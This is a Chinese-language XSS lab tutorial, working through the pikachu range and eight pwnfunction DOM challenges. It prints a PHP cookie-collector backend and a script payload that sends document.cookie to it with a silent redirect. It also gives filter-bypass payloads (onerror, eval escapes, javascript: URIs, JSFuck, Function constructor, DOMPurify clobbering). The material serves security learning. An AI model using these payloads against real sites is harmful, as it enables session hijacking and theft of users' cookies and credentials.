xss
- 1、xss概述
- 2、环境工具
- 3、反射型xss
- 3.1、利用反射型xss获取cookie
- 4、DOM型xss
- 4.1、第一关
- 4.2、第二关
- 4.3、第三关
- 4.4、第四关
- 4.5、第五关
- 4.6、第六关
- 4.7、第七关
- 4.8、第八关
- 5、存储型xss
1、xss概述
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等,xss又分为了三种类型分别为存储型、反射型、DOM型,其中存储型危害最大。
2、环境工具
phpstudy
pikachu靶场
pwnfunction的xss靶场
3、反射型xss
反射型xss攻击是具有一次性的,只在用户单击时触发,攻击者发现一个具有反射型xss漏洞的网站,通过恶意构造链接发送给用户诱导用户点击,用户进行请求就会通过服务端反射回来而使攻击者获取到用户的数据例如cookie,或者是钓鱼攻击,这里举一个简单的例子
这里有一个输入点,我们可以看到在输入框内输入的内容会直接显示到P标签里面
那么我们可以尝试一下使用一个js语句看能否显示
这样就能够成功显示,这就是一个简单的xss放射型漏洞
3.1、利用反射型xss获取cookie
知道了简单的反射型原理,那么如何利用这个漏洞获取用户cookie呢
首先我们构建一个xss后台,这里使用的是pikachu的xss后台
<?php
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站
通过这个获取cookie的后端代码可以看到基本的运行逻辑,通过得到恶意链接获取的cookie并且添加到后端数据库中,并且让用户重定向到其当前页面不让用户有所察觉
<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
上面就是我们构造的恶意链接用户进行点击
1、用户点击
2、重定向到主页面
3、后台获取cookie
4、DOM型xss
要知道dom型xss就需要知道什么是DOM,DOM是文档对象模型,是直接由HTML文档的对象表示,DOM树的根节点是“Document”对象,所以可以明白DOM型xss是不会和后端打交道的,它是基于DOM文档对象的一种漏洞并且都是基于JavaScript的,其主要特点就是不会和服务器端进行交互所以很难被查到。这里利用pwnfunction的靶场做演示
4.1、第一关
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
网页代码如上,其功能就是获取用户的输入,并写入h2标签内部
如图所示:
既然有了输入点并且没有做任何过滤,我们就可以考虑直接写入,这里
<script>alert(1)</script>
是不行的,因为官方innerHTML禁用了这个危险标签,所以我们可以考虑到用img标签中触发onerror来构建payload
<img src=1 onerror="alert(1337)>
这里可以看到成功显示并写入了
4.2、第二关
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
这里和第一关不同的是使用了innerText属性而非innerHTML他们最大的区别就是text不会解析标签而html会所以这里的入手点是eval函数,我们尝试进行逃离双引号
eval(`ma = "Ma name ";alert(1337);""`)
可以看到成功显示了
4.3、第三关
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
从这个代码可以看到作者对其中的尖括号和中括号进行了替换,并且以属性的形式写入到div标签内的input标签,所以我们考虑在标签内进行逃离双引号利用其他标签来触发,就像img标签里的onerror一样,这里可以考虑使用onclick使用户点击触发
但是他的题目要求是不能够让用户进行交互,所以考虑其他的标签
这里考虑使用对焦onfocus和自动对焦autofocus属性,用户进入页面自动对焦而启用函数
4.4、第四关
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
从代码可以看出是通过get传ricardo的值,并放到form表单里的action属性里面,并提交。我们知道form表单是支持JavaScript的伪代码的,所以这道题很简单直接写入伪代码执行就可以了
ricardo=javascript:alert(1337)
4.5、第五关
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
通过这个代码我们可以看到,它在获取到传参以后对参数进行了过滤过滤掉了括号反引号和转义字符这就代表我们用不了括号了执行不了alert(),为了绕过就可以使用%25281337%2529urlcode编码来进行绕过,但是会发现仍然不会执行,所以考虑加上location和伪代码
成功执行
4.6、第六关
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
第六关就是字符数字都被过滤了,那我我们考虑的方向就是通过编码来进行绕过
可以通过网站JsFuck里面对字符进行编码
并进行urlencode编码
然后带入url链接
成功执行
4.7、第七关
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
第七关不仅过滤了关键字符还过滤了alert并且限制了长度,题目只过滤了alert也可以使用其他的显示函数,但这不是关键的绕过方法,这里可以使用到javascript的构造函数执行,利用Function()()两个括号就能够直接执行,定义一个函数
Function(/ALERT(1337)/.source.toLowerCase())() //大写绕过,函数再化为小写
成功执行
4.8、第八关
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
这个代码存在一个过滤框架DOMPurify.sanitize,这个框架绕过是十分困难的事情,任何标签都会被过滤掉,所以我们只能从setTimeout入手,可以发现ok这个参数就不存在,我们需要构造一个标签并且id=ok带入setTimeout并执行,利用浏览器白名单的函数cid
成功执行
5、存储型xss
存储型xss又称持久型跨站点脚本,一旦攻击者将构建好的payload写入,那么用户每次进入该网页都会触发,所以可以看到它的危害性是非常高的,这种多出现在论坛评论,信息存储等地方如下一个简单案例
留言版留言点击submit提交就会出现在下面的页面上
也可以看到对这些关键字和符号都没有做出过滤,那么我可以写入一个简单的payload
成功执行了
并且和反射型不一样的是你无论是刷新页面还是由其他页面跳转到此页面都会触发这个payload,这就是它的危害之处,结合我上面的反射型xss盗取cookie的案例,如果将获取cookie的payload写入,那么每个进入此页面的用户的cookie都会进入我的后台,还可以进行钓鱼攻击将自己的钓鱼网站页面链接写入比如网站登录页面,用户碰到后不知道的情况下写入了自己的用户账号密码,那么也将会传到攻击者的后台,所以存储型xss危害是很大的。